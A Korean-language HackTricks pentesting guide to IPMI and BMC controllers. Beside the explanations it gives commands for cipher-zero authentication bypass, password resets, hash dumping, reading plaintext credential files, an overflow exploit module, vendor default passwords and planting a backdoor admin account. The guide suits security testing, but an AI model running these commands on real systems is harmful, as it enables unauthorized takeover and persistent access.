# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
htARTE (HackTricks AWS Red Team Expert)에서 제로에서 영웅까지 AWS 해킹 배우기를 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출**하세요.
## 기본 정보
### **IPMI 개요**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**는 운영 체제나 전원 상태와 관계없이 컴퓨터 시스템의 원격 관리 및 모니터링을 표준화된 방식으로 제공합니다. 이 기술을 사용하면 시스템 관리자가 시스템을 원격으로 관리할 수 있으며, 시스템이 꺼져 있거나 응답하지 않을 때에도 특히 유용합니다. 다음과 같은 경우에 특히 유용합니다.
- Pre-OS 부팅 구성
- 전원 관리
- 시스템 장애 복구
IPMI는 온도, 전압, 팬 속도 및 전원 공급 장치를 모니터링하고, 인벤토리 정보를 제공하며, 하드웨어 로그를 검토하고, SNMP를 통해 경고를 보내는 기능을 제공합니다. 작동에 필요한 주요 요소는 전원 공급원과 LAN 연결입니다.
1998년 Intel에 의해 도입된 이후, IPMI는 다양한 공급업체에서 지원되어 원격 관리 기능을 향상시켰으며, 특히 버전 2.0에서는 LAN을 통한 시리얼 지원을 제공했습니다. 주요 구성 요소는 다음과 같습니다.
- **Baseboard Management Controller (BMC):** IPMI 작업을 위한 주요 마이크로 컨트롤러입니다.
- **통신 버스 및 인터페이스:** 내부 및 외부 통신을 위한 ICMB, IPMB 및 로컬 및 네트워크 연결용 다양한 인터페이스를 포함합니다.
- **IPMI 메모리:** 로그 및 데이터 저장을 위한 메모리입니다.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**기본 포트**: 623/UDP/TCP (보통 UDP에서 실행되지만 TCP에서 실행될 수도 있습니다)
## 열거
### 탐색
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
다음을 사용하여 **버전**을 **식별**할 수 있습니다:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI 취약점
IPMI 2.0의 영역에서, Dan Farmer에 의해 **암호 유형 0**을 통한 중대한 보안 취약점이 발견되었습니다. 이 취약점은 [Dan Farmer의 연구](http://fish2.com/ipmi/cipherzero.html)에서 자세히 설명되어 있으며, 유효한 사용자가 대상인 경우 어떤 비밀번호를 제공하더라도 무단 액세스를 가능하게 합니다. 이 취약점은 HP, Dell, Supermicro와 같은 제조업체의 다양한 BMC에서 발견되었으며, 모든 IPMI 2.0 구현에서 보편적인 문제임을 시사합니다.
### **Cipher 0를 통한 IPMI 인증 우회**
이 취약점을 탐지하기 위해 다음 Metasploit 보조 스캐너를 사용할 수 있습니다:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
이 취약점을 악용하기 위해 `ipmitool`을 사용하여 아래와 같이 시연할 수 있으며, 이를 통해 사용자 비밀번호의 목록화와 수정이 가능합니다:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP 인증 원격 비밀번호 해시 검색**
이 취약점은 기존 사용자 이름에 대한 소금 처리된 해시된 비밀번호 (MD5 및 SHA1)를 검색할 수 있게 합니다. 이 취약점을 테스트하기 위해 Metasploit은 다음 모듈을 제공합니다:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI 익명 인증**
많은 BMC(Bare Metal Controller)에서 기본 구성으로 "익명" 액세스가 허용됩니다. 이는 사용자 이름과 비밀번호가 없는 문자열로 특징 지어집니다. 이 구성은 `ipmitool`을 사용하여 명명된 사용자 계정의 비밀번호를 재설정하는 데 악용될 수 있습니다:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI 평문 암호**
IPMI 2.0에서의 중요한 설계 선택 사항은 인증 목적으로 BMC 내에 평문 암호를 저장해야 한다는 것입니다. Supermicro는 이러한 암호를 `/nv/PSBlock` 또는 `/nv/PSStore`와 같은 위치에 저장하는 것으로 알려져 있으며, 이는 중대한 보안 문제를 일으킵니다:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP 취약점**
Supermicro의 IPMI 펌웨어에 포함된 UPnP SSDP 수신기는 특히 UDP 포트 1900에서 심각한 보안 위험을 초래합니다. Intel SDK for UPnP Devices 버전 1.3.1의 취약점은 [Rapid7의 공개](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)에 자세히 설명되어 있으며, BMC에 대한 루트 액세스를 허용합니다.
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### 무차별 대입 공격
**HP는 Integrated Lights Out (iLO)** 제품의 **기본 암호를 제조 과정에서 무작위로 설정**합니다. 이는 다른 제조업체와 대조적으로 **고정된 기본 자격 증명**을 사용하는 경향이 있는 것과 대조됩니다. 다양한 제품의 기본 사용자 이름과 암호에 대한 요약은 다음과 같습니다:
- **HP Integrated Lights Out (iLO)**는 **공장에서 무작위로 생성된 8자리 문자열**을 기본 암호로 사용하여 더 높은 보안 수준을 제공합니다.
- **Dell의 iDRAC, IBM의 IMM** 및 **Fujitsu의 Integrated Remote Management Controller**와 같은 제품은 "calvin", "PASSW0RD" (0으로 대체), "admin"과 같이 쉽게 추측 가능한 암호를 사용합니다.
- 마찬가지로 **Supermicro IPMI (2.0), Oracle/Sun ILOM** 및 **ASUS iKVM BMC**도 간단한 기본 자격 증명을 사용하며, "ADMIN", "changeme", "admin"이 각각 암호로 사용됩니다.
## BMC를 통한 호스트 접근
Baseboard Management Controller (BMC)에 대한 관리 권한을 획득하면 호스트 운영 체제에 접근할 수 있는 다양한 경로가 열립니다. 간단한 접근 방법은 BMC의 키보드, 비디오, 마우스 (KVM) 기능을 악용하는 것입니다. 이는 호스트를 GRUB를 통해 루트 쉘로 재부팅하거나 구조용 디스크로 설정된 가상 CD-ROM에서 부팅하여 수행할 수 있습니다. 이러한 방법을 통해 호스트의 디스크를 직접 조작할 수 있으며, 백도어 삽입, 데이터 추출 또는 보안 평가에 필요한 모든 작업을 수행할 수 있습니다. 그러나 이는 호스트를 재부팅해야 하는 단점이 있습니다. 재부팅하지 않고 실행 중인 호스트에 접근하는 것은 더 복잡하며, 호스트의 구성에 따라 다양합니다. 호스트의 물리적 또는 직렬 콘솔이 로그인된 상태로 유지되면 BMC의 KVM 또는 serial-over-LAN (sol) 기능을 통해 쉽게 탈취될 수 있습니다. i2c 버스와 Super I/O 칩과 같은 공유 하드웨어 자원의 악용에 대한 탐색은 추가적인 조사가 필요한 분야입니다.
## 호스트에서 BMC로 백도어 삽입
BMC가 장착된 호스트를 침해한 후 **로컬 BMC 인터페이스를 활용하여 백도어 사용자 계정을 삽입**하여 서버에 지속적인 존재를 만들 수 있습니다. 이 공격은 침해된 호스트에 **`ipmitool`**이 설치되어 있고 BMC 드라이버 지원이 활성화되어 있는 경우에만 가능합니다. 다음 명령은 호스트의 로컬 인터페이스를 사용하여 BMC에 새 사용자 계정을 삽입하는 방법을 보여줍니다. 이 기술은 Linux, Windows, BSD 및 심지어 DOS를 포함한 다양한 운영 체제에 적용할 수 있습니다.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `포트:623`
## 참고 자료
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기법을 공유**하세요.